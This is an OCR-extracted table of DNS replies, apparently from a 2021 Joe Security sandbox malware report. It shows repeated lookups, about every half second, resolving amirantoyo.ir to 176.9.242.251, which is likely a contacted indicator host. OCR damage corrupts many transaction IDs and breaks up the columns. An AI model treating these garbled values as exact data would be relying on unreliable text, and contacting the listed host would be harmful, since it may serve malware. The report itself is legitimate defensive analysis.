Jul 20, 2021 8.8.8.8 192.168.2.4 Oxlbca No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:46.001676083
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1660 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:46.458940029
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf650 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:46.911880016
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x81e7 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:47.366065979
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxfddd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:47.842577934
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1169 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:48.298218966
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc468 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:48.762260914
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc409 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:49.227514029
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2ed6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:49.653574944
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5ad5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:50.090979099
CEST
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Jul 20, 2021 8.8.8.8 192.168.2.4 0x281la No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:50.541275024
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x42eb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:51.036544085
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7c9c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:51.558363914
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf1b5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:52.012336016
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1593 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:52.467187881
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf619 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:52.929030895
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9d3f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:53.406066895
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf123 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:53.863986969
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe26d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:54.317826033
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdbff No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:54.775094986
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5370 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:55.233261108
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2d3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:55.686871052
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x344f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:56.161812067
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5¢52 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:56.636671066
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8608 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:57.087033987
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5946 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:57.547718048
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc38b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:57.990195036
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxadd9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:58.437479019
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9abl No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:58.880173922
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2926 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:59.336615086
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x40f3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:36:59.783210993
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x32a3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:00.241771936
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2803 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:00.723530054
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x72a9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:01.165792942
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa251 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:01.663342953
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdd19 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:02.110162020
CEST
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:37:02.550199032
CEST

Jul 20, 2021 8.8.8.8
18:37:02.992189884
CEST

Jul 20, 2021 8.8.8.8
18:37:03.451981068
CEST

Jul 20, 2021 8.8.8.8
18:37:03.922293901
CEST

Jul 20, 2021 8.8.8.8
18:37:04.610938072
CEST

Jul 20, 2021 8.8.8.8
18:37:05.057995081
CEST

Jul 20, 2021 8.8.8.8
18:37:05.816087008
CEST

Jul 20, 2021 8.8.8.8
18:37:07.500914097
CEST

Jul 20, 2021 8.8.8.8
18:37:07.958188057
CEST

Jul 20, 2021 8.8.8.8
18:37:08.450666904
CEST

Jul 20, 2021 8.8.8.8
18:37:08.907821894
CEST

Jul 20, 2021 8.8.8.8
18:37:09.353477001
CEST

Jul 20, 2021 8.8.8.8
18:37:09.877155066
CEST

Jul 20, 2021 8.8.8.8
18:37:10.322468042
CEST

Jul 20, 2021 8.8.8.8
18:37:10.762856007
CEST

Jul 20, 2021 8.8.8.8
18:37:11.207779884
CEST

Jul 20, 2021 8.8.8.8
18:37:11.676079035
CEST

Jul 20, 2021 8.8.8.8
18:37:12.136048079
CEST

Jul 20, 2021 8.8.8.8
18:37:12.596842051
CEST

Jul 20, 2021 8.8.8.8
18:37:13.043736935
CEST

Jul 20, 2021 8.8.8.8
18:37:13.474889040
CEST

Jul 20, 2021 8.8.8.8
18:37:13.927346945
CEST

Jul 20, 2021 8.8.8.8
18:37:14.385945082
CEST

Jul 20, 2021 8.8.8.8
18:37:14.843936920
CEST

Jul 20, 2021 8.8.8.8
18:37:15.328572035
CEST

Jul 20, 2021 8.8.8.8
18:37:15.789674997
CEST
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x59ba

0xb988

0x7fa3

0x5431

0xc1f3

Ox4c8e

0x7734

Oxbb1f

0x5beb

0x8adb

0x8063

0x2054

0xdOc3

Oxdd5d

0x743d

0xf1c8

O0x8cab

0x1e53

0xe9f7

0x2300

0x720

0x8b8e

0x64dc

0x9344

Ox1a65

Oxb8e

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:37:16.238964081
CEST

Jul 20, 2021 8.8.8.8
18:37:16.741664886
CEST

Jul 20, 2021 8.8.8.8
18:37:17.289397001
CEST

Jul 20, 2021 8.8.8.8
18:37:17.850832939
CEST

Jul 20, 2021 8.8.8.8
18:37:18.346877098
CEST

Jul 20, 2021 8.8.8.8
18:37:18.884028912
CEST

Jul 20, 2021 8.8.8.8
18:37:19.341433048
CEST

Jul 20, 2021 8.8.8.8
18:37:19.848474026
CEST

Jul 20, 2021 8.8.8.8
18:37:20.345599890
CEST

Jul 20, 2021 8.8.8.8
18:37:20.804538965
CEST

Jul 20, 2021 8.8.8.8
18:37:21.267096043
CEST

Jul 20, 2021 8.8.8.8
18:37:21.730134964
CEST

Jul 20, 2021 8.8.8.8
18:37:22.179338932
CEST

Jul 20, 2021 8.8.8.8
18:37:22.621107101
CEST

Jul 20, 2021 8.8.8.8
18:37:23.111157894
CEST

Jul 20, 2021 8.8.8.8
18:37:23.585401058
CEST

Jul 20, 2021 8.8.8.8
18:37:24.051754951
CEST

Jul 20, 2021 8.8.8.8
18:37:24.519314051
CEST

Jul 20, 2021 8.8.8.8
18:37:24.979253054
CEST

Jul 20, 2021 8.8.8.8
18:37:25.435178041
CEST

Jul 20, 2021 8.8.8.8
18:37:25.880342007
CEST

Jul 20, 2021 8.8.8.8
18:37:26.373677969
CEST

Jul 20, 2021 8.8.8.8
18:37:26.830564022
CEST

Jul 20, 2021 8.8.8.8
18:37:27.286068916
CEST

Jul 20, 2021 8.8.8.8
18:37:27.745600939
CEST

Jul 20, 2021 8.8.8.8
18:37:28.191344023
CEST
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

Oxf1d1l

0xb37

0x127b

0xd3cl

0x154e

0x8c87

Oxalal

0xfb8a

0xa378

0x5c5¢

Oxch6a

0x2342

0x9c32

0xfoc7

Oxbb9a

Oxad50

Oxab75

0x22e

0x8elc

Oxafb3

0x1c05

Oxe7da

0x323f

0x520c

Oxfc9l

Oxde76

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Jul 20, 2021 8.8.8.8 192.168.2.4 Oxc56a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:28.680605888
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x822c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:29.209813118
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x465d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:29.659868002
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdee No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:30.245102882
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x18a9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:30.698273897
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3c20 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:31.172084093
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa769 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:31.657546043
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxd6e2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:32.156032085
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaedb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:32.642071009
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x401le No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:33.099919081
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd81d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:33.528321981
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x65ff No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:33.984605074
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxada No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:34.448468924
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5c98 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:34.876609087
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x35d4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:35.338562012
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxfdd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:35.823712111
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5e03 No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)
18:37:36.133811951 msidentity.com  s.net (Canonical
CEST name)

Jul 20, 2021 8.8.8.8 192.168.2.4 0x4834 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:36.256922960
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x854c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:36.715019941
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x46b4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:37.167949915
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x95c4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:37.611695051
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxalfs No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:38.070499897
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x490b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:38.557039022
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x67e6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:39.021662951
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa662 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:39.487143993
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9fb9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:39.989314079
CEST
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:37:40.451186895
CEST

Jul 20, 2021 8.8.8.8
18:37:40.896833897
CEST

Jul 20, 2021 8.8.8.8
18:37:41.403922081
CEST

Jul 20, 2021 8.8.8.8
18:37:41.892570019
CEST

Jul 20, 2021 8.8.8.8
18:37:42.365134001
CEST

Jul 20, 2021 8.8.8.8
18:37:42.907288074
CEST

Jul 20, 2021 8.8.8.8
18:37:43.351299047
CEST

Jul 20, 2021 8.8.8.8
18:37:43.931914091
CEST

Jul 20, 2021 8.8.8.8
18:37:44.471282959
CEST

Jul 20, 2021 8.8.8.8
18:37:44.915086031
CEST

Jul 20, 2021 8.8.8.8
18:37:45.377746105
CEST

Jul 20, 2021 8.8.8.8
18:37:45.834527016
CEST

Jul 20, 2021 8.8.8.8
18:37:46.279218912
CEST

Jul 20, 2021 8.8.8.8
18:37:46.806921959
CEST

Jul 20, 2021 8.8.8.8
18:37:47.271652937
CEST

Jul 20, 2021 8.8.8.8
18:37:47.743149996
CEST

Jul 20, 2021 8.8.8.8
18:37:48.325912952
CEST

Jul 20, 2021 8.8.8.8
18:37:48.965514898
CEST

Jul 20, 2021 8.8.8.8
18:37:49.501482010
CEST

Jul 20, 2021 8.8.8.8
18:37:50.052014112
CEST

Jul 20, 2021 8.8.8.8
18:37:50.504722118
CEST

Jul 20, 2021 8.8.8.8
18:37:50.972249031
CEST

Jul 20, 2021 8.8.8.8
18:37:51.438963890
CEST

Jul 20, 2021 8.8.8.8
18:37:51.944725037
CEST

Jul 20, 2021 8.8.8.8
18:37:52.426794052
CEST

Jul 20, 2021 8.8.8.8
18:37:53.159344912
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

Oxfeb6

0x176a

0x8a30

0x7996

O0x5ae9

Oxa36¢

Oxcl3e

Ox4bd2

0x69f6

0x693a

0x2ac0

0x93d8

0x642e

Oxb7dd

0x4422

0x9344

0x703b

0xb2d7

Oxebda

0x790c

0x388a

0x513b

0x2a00

Oxa314

0x838f

0x77ae

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Jul 20, 2021 8.8.8.8 192.168.2.4 Oxce8e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:53.619309902
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb2a6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:54.527766943
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x191 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:56.075288057
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x46d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:56.554739952
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7580 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:57.085184097
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8208 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:57.550821066
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf915 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:58.040505886
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2c13 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:58.494714975
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xfod7 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:58.962316990
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x751 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:59.415337086
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxec84 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:37:59.888952971
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf883 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:00.453071117
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox7ffc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:00.913549900
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox8cea No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:01.385545015
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5257 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:01.858700037
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x177d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:02.340929031
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox4aac No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:02.783497095
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5523 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:03.277853966
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x50al No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:03.736460924
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox7ea5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:04.184806108
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxd7fb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:04.695059061
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5d6d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:05.127769947
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x97fe Noerror (0)  amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:05.573280096
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbd9d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:06.004519939
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe8ea No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:06.455913067
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox3fda No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:06.914567947
CEST
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Jul 20, 2021 8.8.8.8 192.168.2.4 0x8b4b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:07.371429920
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf3b3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:07.842487097
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdf32 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:08.276782990
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8fc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:08.703289032
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe0d1 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:09.131462097
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxafdd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:09.602258921
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdaea No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:10.050331116
CEST

